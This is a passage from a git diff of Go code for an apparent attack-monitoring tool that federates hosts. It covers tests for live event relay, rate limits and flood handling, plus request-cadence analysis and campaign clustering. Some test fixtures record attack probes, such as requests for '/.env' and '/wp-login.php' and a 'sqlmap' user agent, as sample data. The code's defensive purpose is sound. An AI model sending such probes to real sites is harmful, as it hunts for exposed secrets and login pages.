case <-deadline:
t.Fatalf("no reconnection (%d)", conns.Load())
case <-time.After(50 * time.Millisecond):
}
}
select {
case e := <-ch:
if e.IP == "1.2.3.4" {
t.Fatal("oversize line must not become an event")
}
default:
}
}
func TestLiveRateLimitAndFlag(t *testing.T) {
var conns atomic.Int32
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
for i := 0; i < 400; i++ {
fmt.Fprint(w, ev(fmt.Sprintf(`{"ip":"9.9.%d.%d","cat":"scanner"}`, i/250, i%250+1)))
}
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
deadline := time.Now().Add(5 * time.Second)
for len(h.Recent(500)) == 0 && time.Now().Before(deadline) {
time.Sleep(20 * time.Millisecond)
}
time.Sleep(300 * time.Millisecond)
if n := len(h.Recent(500)); n < 40 || n > 120 {
t.Fatalf("a burst of 400 must be cut to about 50 (got %d)", n)
}
if hs := h.Hosts(); len(hs) != 1 || hs[0].Live {
// Live also needs the peer to be online (polled); here it never was
t.Fatalf("hosts %+v", hs)
}
}
func TestLiveWithRealPeerServer(t *testing.T) {
ps := store.New(store.Config{Name: "remote", Version: "t", Location: &store.Location{Lat: -8, Lon: -35, Label: "Recife"}})
srv := httptest.NewServer(server.New(server.Options{Token: "main-token-0123456789-abcdefghijklmnopqrs", PeerTokens: []string{"peer-secret-0123456789-abcdefghijklmnopqr"}, Version: "t", Store: ps}))
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "peer-secret-0123456789-abcdefghijklmnopqr")
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Refresh(ctx)
h.Stream(ctx)
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
ps.Ingest(core.Event{Time: time.Now(), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Method: "GET", Path: "/x"})
if len(h.Recent(5)) > 0 {
break
}
time.Sleep(50 * time.Millisecond)
}
r := h.Recent(5)
if len(r) == 0 || r[0].Host != "edge" || r[0].IP != "5.5.5.5" || r[0].Dst == nil || r[0].Dst.Label != "Recife" {
t.Fatalf("relayed %+v", r)
}
hs := h.Hosts()
if !hs[0].Live || !hs[0].Online || hs[0].Location == nil || hs[0].Location.Label != "Recife" {
t.Fatalf("hosts %+v", hs)
}
}
func TestLiveByteFloodDropsConnection(t *testing.T) {
defer fed.SetLiveLimits(200*time.Millisecond, 10_000, 100*time.Millisecond)()
start := time.Now()
var conns atomic.Int32
pad := strings.Repeat("a", 1000)
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
for i := 0; i < 200; i++ { // ~200 KB at once: far above 10 KB/s
fmt.Fprintf(w, ": %s\n", pad)
}
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
// the flood ends the connection (window check), then the hub reconnects after the backoff
for conns.Load() < 2 {
if time.Since(start) > 2500*time.Millisecond {
t.Fatalf("no drop and reconnection (%d connections)", conns.Load())
}
time.Sleep(20 * time.Millisecond)
}
}
func TestVisitRelayHasNoAddressAndNoRecent(t *testing.T) {
var conns atomic.Int32
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
fmt.Fprint(w, "event: visit\ndata: "+`{"kind":"visit","t":`+fmt.Sprint(time.Now().Unix())+`,"host":"evil","ip":"9.9.9.9","ua":"Mozilla","domain":"a.example","path":"/x","status":200,"device":"mobile","src":{"lat":-8,"lon":-34.9,"cc":"BR","city":"Recife"}}`+"\n\n")
fmt.Fprint(w, "event: visit\ndata: "+`{"kind":"visit_batch","t":`+fmt.Sprint(time.Now().Unix())+`,"n":7}`+"\n\n")
fmt.Fprint(w, "event: visit\ndata: "+`{"kind":"nope"}`+"\n\n")
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
ch, stop := h.SubscribeVisits()
defer stop()
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
var got []store.VisitMsg
for len(got) < 2 {
select {
case m := <-ch:
got = append(got, m)
case <-time.After(5 * time.Second):
t.Fatalf("timeout, got %+v", got)
}
}
for _, m := range got {
b, _ := json.Marshal(m)
if strings.Contains(string(b), "9.9.9.9") || strings.Contains(string(b), `"ip"`) || strings.Contains(string(b), "Mozilla") || m.Host != "edge" {
t.Fatalf("relayed %s", b)
}
}
if got[0].Device != "mobile" || got[1].Kind != "visit_batch" || got[1].N != 7 || len(h.Recent(10)) != 0 {
t.Fatalf("%+v recent=%d", got, len(h.Recent(10)))
}
}
+87
View File
@@ -0,0 +1,87 @@
package fed
import (
"context"
"fmt"
"net/url"
"sync"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
const (
studyTTL = 30 * time.Second
studyMax = 8 // cached studies per peer
)
type studyCached struct {
at time.Time
s store.PeerStudy
}
func studyKey(q store.PeriodQuery) string {
return fmt.Sprintf("%d-%d|%s|%s|%s|%d", q.From, q.To, q.IP, q.Cat, q.Fam, q.Gap)
}
// StudiesFor asks the online peers (or one) for their period and metrics
// study of a window, on demand, cached for 30 s. The answers are sanitized
// and carry the configured peer name.
func (h *Hub) StudiesFor(ctx context.Context, q store.PeriodQuery, only string) map[string]store.PeerStudy {
out := map[string]store.PeerStudy{}
var mu sync.Mutex
var wg sync.WaitGroup
key := studyKey(q)
for _, p := range h.Peers {
if only != "" && only != p.Name {
continue
}
h.mu.RLock()
st := h.state[p.Name]
online := st.online
var hit *store.PeerStudy
if c := st.studies[key]; c != nil && time.Since(c.at) < studyTTL {
s := c.s
hit = &s
}
h.mu.RUnlock()
if !online {
continue
}
if hit != nil {
out[p.Name] = *hit
continue
}
wg.Add(1)
go func(p Peer) {
defer wg.Done()
v := url.Values{}
v.Set("from", fmt.Sprint(q.From))
v.Set("to", fmt.Sprint(q.To))
for k, x := range map[string]string{"ip": q.IP, "cat": q.Cat, "fam": q.Fam} {
if x != "" {
v.Set(k, x)
}
}
if q.Gap > 0 {
v.Set("gap", fmt.Sprint(q.Gap))
}
var s store.PeerStudy
if _, err := h.get(ctx, p, "/api/v1/peer/period?"+v.Encode(), &s); err != nil || !s.Sanitize(p.Name) {
return
}
h.mu.Lock()
st := h.state[p.Name]
if st.studies == nil || len(st.studies) >= studyMax {
st.studies = map[string]*studyCached{}
}
st.studies[key] = &studyCached{time.Now(), s}
h.mu.Unlock()
mu.Lock()
out[p.Name] = s
mu.Unlock()
}(p)
}
wg.Wait()
return out
}
+115
View File
@@ -0,0 +1,115 @@
package fed_test
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"sync/atomic"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func TestHubOnDemandRangesRatesAndOldPeers(t *testing.T) {
peerTok := "peer-secret-0123456789-abcdefghijklmnopqr"
ps := store.New(store.Config{Name: "remote", Version: "t", Retention: 720 * time.Hour})
for i := 0; i < 4; i++ {
ps.Ingest(core.Event{Time: time.Now().Add(-time.Duration(i) * time.Minute), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Path: "/x", Method: "GET"})
}
ps.Ingest(core.Event{Time: time.Now().Add(-10 * 24 * time.Hour), IP: "6.6.6.6", Cat: core.Scanner, Source: "traefik", Path: "/y", Method: "GET"})
ps.Traffic(core.Event{Time: time.Now(), IP: "9.9.9.9", Cat: core.OK, Source: "traefik", Domain: "a.example", Method: "GET", Path: "/", Status: 200})
var calls []string
inner := server.New(server.Options{Token: "main-token-0123456789-abcdefghijklmnopqrs", PeerTokens: []string{peerTok}, Version: "t", Store: ps})
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
calls = append(calls, r.URL.RawQuery)
inner.ServeHTTP(w, r)
}))
defer srv.Close()
p, _ := fed.ParsePeer("hostinger=" + srv.URL)
hub := fed.NewHub([]fed.Peer{p}, peerTok)
hub.Refresh(context.Background())
if len(calls) != len(store.BackgroundRanges) {
t.Fatalf("background fetches: %v", calls)
}
// a window outside the background set is fetched on demand, then cached
rg := store.Ranges["15d"]
n := len(calls)
sums := hub.SummariesFor(context.Background(), rg, "")
if len(sums) != 1 || sums[0].Range.Name != "15d" || sums[0].Totals.Counts["scanner"] != 1 || sums[0].Rates.Last1h != 4 {
t.Fatalf("15d %+v", sums)
}
hub.SummariesFor(context.Background(), rg, "")
if len(calls) != n+1 {
t.Fatalf("on-demand windows must be cached: %v", calls[n:])
}
// a custom window goes as from/to
now := time.Now().Unix()
local := store.New(store.Config{Name: "hub", Retention: 720 * time.Hour})
cr, err := local.ResolveRange("", fmt.Sprint(now-3*3600), "")
if err != nil {
t.Fatal(err)
}
cs := hub.SummariesFor(context.Background(), cr, "")
if len(cs) != 1 || cs[0].Totals.Counts["exploit"] != 4 || !strings.Contains(calls[len(calls)-1], "from=") {
t.Fatalf("custom %+v calls %v", cs, calls[len(calls)-1])
}
if tr := hub.TrafficFor(context.Background(), cr, "all", ""); len(tr) != 1 || tr[0].Requests != 1 {
t.Fatalf("traffic %+v", tr)
}
if got := hub.IPDetail("6.6.6.6"); len(got) != 1 {
t.Fatal("the 30 day export must carry the 10 day old address")
}
m := store.Merge("all", []store.Summary{local.Summary("24h"), sums[0]})
if m.Rates.Last1h != 4 {
t.Fatalf("merged rates %+v", m.Rates)
}
}
func TestOldPeerStringRangeStillParses(t *testing.T) {
var s store.Summary
if err := json.Unmarshal([]byte(`{"range":"24h","host":"x"}`), &s); err != nil || s.Range.Name != "24h" {
t.Fatalf("legacy range: %v %+v", err, s.Range)
}
if err := json.Unmarshal([]byte(`{"range":{"name":"7d","from":1,"to":2,"clipped":true}}`), &s); err != nil || !s.Range.Clipped {
t.Fatal(err)
}
}
func TestPeerEventsAreRegisteredWithHostAndLocalID(t *testing.T) {
var conns atomic.Int32
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
fmt.Fprint(w, ev(`{"id":999999,"ip":"6.6.6.6","cat":"exploit","host":"evil","ua":"sqlmap","fam":"vcs","tech":["T1190"],"flags":"SZ!"}`))
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
local := store.New(store.Config{Name: "hub"})
l, _ := evlog.Open(evlog.Options{Dir: t.TempDir() + "/events"})
local.SetEventLog(l)
h.OnLive = local.RecordPeerEvent
ch, stop := h.Subscribe()
defer stop()
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
select {
case e := <-ch:
if e.Host != "edge" || e.ID == 0 || e.ID == 999999 || e.Flags != "S" {
t.Fatalf("relayed %+v", e)
}
case <-time.After(5 * time.Second):
t.Fatal("no event")
}
pg, _ := local.QueryEvents(store.EventsQuery{From: time.Now().Unix() - 3600, To: time.Now().Unix() + 10, Host: "edge"})
if len(pg.Events) != 1 || !strings.Contains(string(pg.Events[0]), `"host":"edge"`) {
t.Fatalf("registry %v", pg.Events)
}
}
+120
View File
@@ -0,0 +1,120 @@
package fed_test
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"path/filepath"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/evlog"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func logged(t *testing.T, name string) *store.Store {
s := store.New(store.Config{Name: name, Version: "t", Retention: 720 * time.Hour})
l, err := evlog.Open(evlog.Options{Dir: filepath.Join(t.TempDir(), "events")})
if err != nil {
t.Fatal(err)
}
s.SetEventLog(l)
return s
}
func TestHubMergesPeriodAndMetrics(t *testing.T) {
const userTok, peerTok = "main-token-0123456789-abcdefghijklmnopqrs", "peer-secret-0123456789-abcdefghijklmnopqr"
peer := logged(t, "hostinger")
hubSt := logged(t, "oracle")
now := time.Now()
for i := 0; i < 4; i++ {
peer.Ingest(core.Event{Time: now.Add(-time.Duration(i) * time.Minute), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Method: "GET", Path: "/.env", Status: 404, Domain: "p.example"})
}
hubSt.Ingest(core.Event{Time: now.Add(-time.Hour), IP: "6.6.6.6", Cat: core.Scanner, Source: "traefik", Method: "GET", Path: "/wp-login.php", Status: 404, Domain: "h.example"})
// a copy of the peer's event relayed live to the hub must not be counted twice
le := store.LiveEvent{FeedEvent: store.FeedEvent{T: now.Unix() - 30, IP: "5.5.5.5", Cat: "exploit", Source: "traefik", Host: "hostinger"}}
hubSt.RecordPeerEvent(&le)
var peerCalls []string
pinner := server.New(server.Options{Token: "other-token-0123456789-abcdefghijklmnopqrs", PeerTokens: []string{peerTok}, Version: "t", Store: peer})
psrv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
peerCalls = append(peerCalls, r.URL.Path)
pinner.ServeHTTP(w, r)
}))
defer psrv.Close()
p, _ := fed.ParsePeer("hostinger=" + psrv.URL)
hub := fed.NewHub([]fed.Peer{p}, peerTok)
hub.Refresh(context.Background())
h := server.New(server.Options{Token: userTok, Version: "t", Store: hubSt, Hub: hub})
get := func(path string) map[string]any {
r := httptest.NewRequest("GET", path, nil)
r.Header.Set("Authorization", "Bearer "+userTok)
r.RemoteAddr = "198.51.100.1:1"
w := httptest.NewRecorder()
h.ServeHTTP(w, r)
if w.Code != 200 {
t.Fatalf("%s: %d %s", path, w.Code, w.Body)
}
var m map[string]any
json.Unmarshal(w.Body.Bytes(), &m)
return m
}
pd := get("/api/v1/period?range=24h")
if pd["sessions_n"].(float64) != 2 || pd["events"].(float64) != 5 {
t.Fatalf("merged period: sessions %v events %v (relayed copies must not double count)", pd["sessions_n"], pd["events"])
}
hosts := map[string]bool{}
for _, s := range pd["sessions"].([]any) {
hosts[s.(map[string]any)["hosts"].([]any)[0].(string)] = true
}
if !hosts["oracle"] || !hosts["hostinger"] {
t.Fatalf("sessions must carry their host: %v", hosts)
}
if only := get("/api/v1/period?range=24h&host=hostinger"); only["sessions_n"].(float64) != 1 {
t.Fatalf("one peer: %v", only["sessions_n"])
}
if loc := get("/api/v1/period?range=24h&host=oracle"); loc["sessions_n"].(float64) != 1 {
t.Fatalf("local only: %v", loc["sessions_n"])
}
mt := get("/api/v1/metrics?range=24h")
if v := mt["attacks_per_hour_24h"].(map[string]any)["value"].(float64); v < 0.2 || v > 0.3 { // 5 events / 24 h, rounded to 0.1
t.Fatalf("merged attacks per hour: %v", v)
}
n := len(peerCalls)
get("/api/v1/period?range=24h")
for _, c := range peerCalls[n:] {
if c == "/api/v1/peer/period" {
t.Fatal("studies are cached for 30 s")
}
}
// the peer route: only the peer token, never the user token
for tok, want := range map[string]int{peerTok: 200, "other-token-0123456789-abcdefghijklmnopqrs": 401, "bad": 401} {
r := httptest.NewRequest("GET", "/api/v1/peer/period?from=1&to=2", nil)
r.Header.Set("Authorization", "Bearer "+tok)
r.RemoteAddr = "198.51.100.1:1"
w := httptest.NewRecorder()
pinner.ServeHTTP(w, r)
if tok == peerTok {
r = httptest.NewRequest("GET", "/api/v1/peer/period?from="+itoa(now.Unix()-3600)+"&to="+itoa(now.Unix()), nil)
r.Header.Set("Authorization", "Bearer "+tok)
r.RemoteAddr = "198.51.100.1:1"
w = httptest.NewRecorder()
pinner.ServeHTTP(w, r)
}
if w.Code != want {
t.Errorf("peer route with %q: %d, want %d", tok[:3], w.Code, want)
}
}
// a hub that is offline for the peer still answers (local + relayed)
psrv.Close()
hub.Refresh(context.Background())
if pd := get("/api/v1/period?range=24h"); pd["sessions_n"].(float64) < 1 {
t.Fatal("must answer without the peer")
}
}
func itoa(n int64) string { b, _ := json.Marshal(n); return string(b) }
+177
View File
@@ -0,0 +1,177 @@
package intel
import (
"math"
"sort"
"time"
)
// Cadence summarises the rhythm of a source's requests.
type Cadence struct {
N int `json:"n"`
MedianS float64 `json:"median_s"`
P10S float64 `json:"p10_s"`
P90S float64 `json:"p90_s"`
CV float64 `json:"cv"`
BurstMax60 int `json:"burst_max_60"`
Verdict string `json:"verdict"`
}
// Cadence verdicts.
const (
VerdictAutomated = "automated"
VerdictHuman = "human-like"
VerdictMixed = "mixed"
VerdictInsufficient = "insufficient"
)
func verdict(n int, median, cv float64) string {
switch {
case n < 3:
return VerdictInsufficient
case median < 2 || (cv < 0.3 && n >= 10):
return VerdictAutomated
case median > 5 && cv > 1:
return VerdictHuman
}
return VerdictMixed
}
const (
cadBuckets = 16
burstCap = 4096
)
// CadenceAcc accumulates request times online in constant memory: Welford
// for mean/variance of the inter-arrival times, a 16 bucket log2 histogram
// for approximate percentiles and a bounded window for the 60 s burst peak.
// Bucket 0 holds gaps under 1 s; bucket b>=1 holds [2^(b-1), 2^b) seconds.
type CadenceAcc struct {
n int
last time.Time
cnt int // number of intervals
mean float64
m2 float64
hist [cadBuckets]int
win []time.Time
burst int
}
func bucketOf(d float64) int {
if d < 1 {
return 0
}
b := 1 + int(math.Floor(math.Log2(d)))
if b >= cadBuckets {
b = cadBuckets - 1
}
return b
}
// Add records one request at t.
func (a *CadenceAcc) Add(t time.Time) {
if a.n > 0 {
d := math.Abs(t.Sub(a.last).Seconds())
a.cnt++
delta := d - a.mean
a.mean += delta / float64(a.cnt)
a.m2 += delta * (d - a.mean)
a.hist[bucketOf(d)]++
}
if a.n == 0 || t.After(a.last) {
a.last = t
}
a.n++
cut := t.Add(-60 * time.Second)
i := 0
for i < len(a.win) && !a.win[i].After(cut) {
i++
}
a.win = append(a.win[i:], t)
if len(a.win) > burstCap {
a.win = a.win[len(a.win)-burstCap:]
}
if len(a.win) > a.burst {
a.burst = len(a.win)
}
}
func (a *CadenceAcc) pct(p float64) float64 {
if a.cnt == 0 {
return 0
}
target := p * float64(a.cnt)
cum := 0.0
for b := 0; b < cadBuckets; b++ {
c := float64(a.hist[b])
if c > 0 && cum+c >= target {
lo, hi := 0.0, 1.0
if b > 0 {
lo = math.Exp2(float64(b - 1))
hi = math.Exp2(float64(b))
}
return lo + (hi-lo)*(target-cum)/c
}
cum += c
}
return math.Exp2(cadBuckets - 1)
}
// Result returns the current cadence summary.
func (a *CadenceAcc) Result() Cadence {
c := Cadence{N: a.n, BurstMax60: a.burst}
if a.cnt > 0 {
c.MedianS, c.P10S, c.P90S = a.pct(.5), a.pct(.1), a.pct(.9)
if a.mean > 0 {
c.CV = math.Sqrt(a.m2/float64(a.cnt)) / a.mean
}
}
c.Verdict = verdict(c.N, c.MedianS, c.CV)
return c
}
func quantile(sorted []float64, p float64) float64 {
if len(sorted) == 0 {
return 0
}
pos := p * float64(len(sorted)-1)
lo := int(math.Floor(pos))
hi := int(math.Ceil(pos))
return sorted[lo] + (sorted[hi]-sorted[lo])*(pos-float64(lo))
}
// CadenceFrom computes the exact cadence of a set of request times (any order).
func CadenceFrom(ts []time.Time) Cadence {
v := append([]time.Time(nil), ts...)
sort.Slice(v, func(i, j int) bool { return v[i].Before(v[j]) })
c := Cadence{N: len(v)}
if len(v) > 1 {
d := make([]float64, len(v)-1)
var sum float64
for i := 1; i < len(v); i++ {
d[i-1] = v[i].Sub(v[i-1]).Seconds()
sum += d[i-1]
}
mean := sum / float64(len(d))
var ss float64
for _, x := range d {
ss += (x - mean) * (x - mean)
}
if mean > 0 {
c.CV = math.Sqrt(ss/float64(len(d))) / mean
}
sort.Float64s(d)
c.MedianS, c.P10S, c.P90S = quantile(d, .5), quantile(d, .1), quantile(d, .9)
}
j := 0
for i := range v {
for v[i].Sub(v[j]) >= 60*time.Second {
j++
}
if i-j+1 > c.BurstMax60 {
c.BurstMax60 = i - j + 1
}
}
c.Verdict = verdict(c.N, c.MedianS, c.CV)
return c
}
+356
View File
@@ -0,0 +1,356 @@
package intel
import (
"context"
"crypto/sha256"
"encoding/hex"
"regexp"
"sort"
"strconv"
"strings"
"time"
)
// Signature fingerprints what a session asked for. Paths holds the five most
// frequent normalised paths (sorted); Tool is the tool label or User-Agent.
// ASN, CC and NetType are optional metadata of the session's IP, used only to
// summarise campaigns.
type Signature struct {
Paths []string `json:"paths"`
Tool string `json:"tool"`
ASN uint32 `json:"asn,omitempty"`
CC string `json:"cc,omitempty"`
NetType string `json:"net_type,omitempty"`
}
// Campaign is a set of sessions from several IPs doing the same thing.
type Campaign struct {
ID string `json:"id"`
SignatureID string `json:"signature_id"`
First time.Time `json:"first"`
Last time.Time `json:"last"`
IPsN int `json:"ips_n"`
IPs []string `json:"ips"`
ASNs []uint32 `json:"asns"`
CCs []string `json:"ccs"`
NetTypes map[string]int `json:"net_types"`
Signature Signature `json:"signature"`
Techs []string `json:"techs"`
SessionsN int `json:"sessions_n"`
}
// Campaign thresholds.
const (
MinCampaignIPs = 3
MinJaccard = 0.6
DefaultCampaign = 6 * time.Hour
maxCampaignIPs = 50
maxNormLen = 512
maxSigSessions = 50000
)
var (
uuidRe = regexp.MustCompile(`[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}`)
hexRe = regexp.MustCompile(`[0-9a-f]{8,}`)
digRe = regexp.MustCompile(`[0-9]+`)
)
// NormPath normalises a path for signatures: query dropped, lowercase, uuids
// and long hex runs become {id}, digit runs become {n}.
func NormPath(p string) string {
if i := strings.IndexAny(p, "?#"); i >= 0 {
p = p[:i]
}
if len(p) > maxNormLen {
p = p[:maxNormLen]
}
p = strings.ToLower(p)
p = uuidRe.ReplaceAllString(p, "{id}")
p = hexRe.ReplaceAllString(p, "{id}")
return digRe.ReplaceAllString(p, "{n}")
}
// SignatureFrom builds the signature of a set of raw paths and a tool label.
func SignatureFrom(paths []string, tool string) Signature {
cnt := map[string]int{}
for _, p := range paths {
if p == "" {
continue
}
cnt[NormPath(p)]++
}
type kv struct {
k string
n int
}
list := make([]kv, 0, len(cnt))
for k, n := range cnt {
list = append(list, kv{k, n})
}
sort.Slice(list, func(i, j int) bool {
if list[i].n != list[j].n {
return list[i].n > list[j].n
}
return list[i].k < list[j].k
})
if len(list) > 5 {
list = list[:5]
}
sig := Signature{Tool: strings.ToLower(strings.TrimSpace(tool)), Paths: make([]string, 0, len(list))}
for _, e := range list {
sig.Paths = append(sig.Paths, e.k)
}
sort.Strings(sig.Paths)
return sig
}
// Key is the canonical text of the signature (paths and tool only).
func (s Signature) Key() string { return strings.Join(s.Paths, "\n") + "\x00" + s.Tool }
// SignatureID is "c-" plus 8 hex chars of the sha256 of the signature key. It
// is shared by every recurrence of the same signature.
func (s Signature) SignatureID() string {
h := sha256.Sum256([]byte(s.Key()))
return "c-" + hex.EncodeToString(h[:4])
}
// ID is an alias of SignatureID kept for callers that group recurring
// campaigns; Campaign.ID itself is unique per campaign.
func (s Signature) ID() string { return s.SignatureID() }
func campaignID(sig Signature, first time.Time, window time.Duration, n int) string {
k := sig.Key() + "\x00" + strconv.FormatInt(first.Truncate(window).Unix(), 10)
if n > 0 {
k += "\x00" + strconv.Itoa(n)
}
h := sha256.Sum256([]byte(k))
return "c-" + hex.EncodeToString(h[:4])
}
// Jaccard is |a∩b| / |a∪b| over two string sets (0 when both are empty).
// Lists of up to 8 items (every signature) are compared without allocating.
func Jaccard(a, b []string) float64 {
if len(a) == 0 && len(b) == 0 {
return 0
}
if len(a) > 8 || len(b) > 8 {
return jaccardMap(a, b)
}
ua, ub, inter := 0, 0, 0
for i, x := range a {
if indexOf(a[:i], x) < 0 {
ua++
if indexOf(b, x) >= 0 {
inter++
}
}
}
for i, y := range b {
if indexOf(b[:i], y) < 0 {
ub++
}
}
return float64(inter) / float64(ua+ub-inter)
}
func indexOf(l []string, x string) int {
for i, y := range l {
if y == x {
return i
}
}
return -1
}
func jaccardMap(a, b []string) float64 {
set := make(map[string]bool, len(a))
for _, x := range a {
set[x] = true
}
union := len(set)
inter := 0
seen := map[string]bool{}
for _, x := range b {
if seen[x] {
continue
}
seen[x] = true
if set[x] {
inter++
} else {
union++
}
}
return float64(inter) / float64(union)
}
type cluster struct {
sig Signature
idx []int
first time.Time
last time.Time
stamp int
}
func pruneBucket(b []*cluster, now time.Time, window time.Duration) []*cluster {
w := 0
for _, c := range b {
if now.Sub(c.last) <= window {
b[w] = c
w++
}
}
clear(b[w:])
return b[:w]
}
// maxCandidates bounds how many clusters one session is compared against.
const maxCandidates = 512
// Campaigns groups sessions of different IPs that share a tool and similar
// paths (Jaccard >= 0.6) and start within window of one another (default 6 h).
// sigs is keyed by Session.ID. Only groups with at least 3 distinct IPs are
// returned, ordered by first time. The CampaignID of the member sessions in
// the sessions slice is set in place.
func Campaigns(sessions []Session, sigs map[string]Signature, window time.Duration) []Campaign {
return CampaignsCtx(context.Background(), sessions, sigs, window)
}
// CampaignsCtx is Campaigns with a cancellable context: when ctx is done the
// clustering stops and the campaigns found so far are returned.
//
// Clusters are indexed by tool and path (a match needs at least 60% of the
// session's paths, so only the rarest few path buckets are scanned) and
// expire once older than the window, so the cost stays near linear.
func CampaignsCtx(ctx context.Context, sessions []Session, sigs map[string]Signature, window time.Duration) []Campaign {
if window <= 0 {
window = DefaultCampaign
}
order := make([]int, 0, len(sessions))
for i, s := range sessions {
if sg, ok := sigs[s.ID]; ok && len(sg.Paths) > 0 {
order = append(order, i)
}
}
if len(order) > maxSigSessions {
order = order[:maxSigSessions]
}
sort.SliceStable(order, func(a, b int) bool {
sa, sb := sessions[order[a]], sessions[order[b]]
if !sa.Start.Equal(sb.Start) {
return sa.Start.Before(sb.Start)
}
return sa.ID < sb.ID
})
var cl []*cluster
buckets := map[string][]*cluster{}
stamp := 0
for n, i := range order {
if n&255 == 0 && ctx.Err() != nil {
break
}
s, sg := sessions[i], sigs[sessions[i].ID]
stamp++
keys := make([]string, 0, len(sg.Paths))
for j, p := range sg.Paths {
if indexOf(sg.Paths[:j], p) < 0 {
keys = append(keys, sg.Tool+"\x00"+p)
}
}
sort.Slice(keys, func(x, y int) bool { return len(buckets[keys[x]]) < len(buckets[keys[y]]) })
need := (3*len(keys) + 4) / 5
scan := len(keys) - need + 1
var best *cluster
bestJ := 0.0
checked := 0
scanLoop:
for _, k := range keys[:scan] {
buckets[k] = pruneBucket(buckets[k], s.Start, window)
for _, c := range buckets[k] {
if c.stamp == stamp {
continue
}
c.stamp = stamp
if checked++; checked > maxCandidates {
break scanLoop
}
if j := Jaccard(sg.Paths, c.sig.Paths); j >= MinJaccard && j > bestJ {
best, bestJ = c, j
}
}
}
if best == nil {
c := &cluster{sig: sg, idx: []int{i}, first: s.Start, last: s.End}
cl = append(cl, c)
for _, k := range keys {
b := buckets[k]
if n := len(b); n >= 64 && n&(n-1) == 0 { // amortised cleanup
b = pruneBucket(b, s.Start, window)
}
buckets[k] = append(b, c)
}
continue
}
best.idx = append(best.idx, i)
if s.End.After(best.last) {
best.last = s.End
}
}
var out []Campaign
usedIDs := map[string]bool{}
for _, c := range cl {
ips := map[string]bool{}
for _, i := range c.idx {
ips[sessions[i].IP] = true
}
if len(ips) < MinCampaignIPs {
continue
}
id := campaignID(c.sig, c.first, window, 0)
for n := 1; usedIDs[id]; n++ {
id = campaignID(c.sig, c.first, window, n)
}
usedIDs[id] = true
camp := Campaign{
ID: id, SignatureID: c.sig.SignatureID(), First: c.first, Last: c.last, IPsN: len(ips),
IPs: sortedKeys(ips, maxCampaignIPs), NetTypes: map[string]int{},
Signature: Signature{Paths: c.sig.Paths, Tool: c.sig.Tool}, SessionsN: len(c.idx),
}
asns, ccs, techs := map[uint32]bool{}, map[string]bool{}, map[string]bool{}
seenIP := map[string]bool{}
for _, i := range c.idx {
s, sg := &sessions[i], sigs[sessions[i].ID]
s.CampaignID = camp.ID
for _, t := range s.Techs {
techs[t] = true
}
if seenIP[s.IP] {
continue
}
seenIP[s.IP] = true
if sg.ASN != 0 {
asns[sg.ASN] = true
}
if sg.CC != "" {
ccs[sg.CC] = true
}
if sg.NetType != "" {
camp.NetTypes[sg.NetType]++
}
}
for a := range asns {
camp.ASNs = append(camp.ASNs, a)
}
sort.Slice(camp.ASNs, func(i, j int) bool { return camp.ASNs[i] < camp.ASNs[j] })
camp.CCs = sortedKeys(ccs, 0)
camp.Techs = sortedKeys(techs, 0)
out = append(out, camp)
}
sort.Slice(out, func(i, j int) bool {
if !out[i].First.Equal(out[j].First) {
return out[i].First.Before(out[j].First)
}
return out[i].ID < out[j].ID
})
return out
}
+137
View File
@@ -0,0 +1,137 @@
package intel
import (
"context"
"fmt"
"net/netip"
"strings"
"testing"
"time"
)
// letters encodes i with letters g-z only (digits and hex runs are normalised away).
func letters(i int) string {
s := "x"
for ; i > 0; i /= 20 {
s += string(rune('g' + i%20))
}
return s
}
func synthSessions(n int, mode string) ([]Session, map[string]Signature) {
ss := make([]Session, n)
sigs := make(map[string]Signature, n)
for i := 0; i < n; i++ {
id := fmt.Sprintf("s%d", i)
ss[i] = Session{ID: id, IP: fmt.Sprintf("2001:db8:%x::%x", i%65536, i), Start: at(i), End: at(i)}
var paths []string
switch mode {
case "distinct": // every session unique, all share "/"
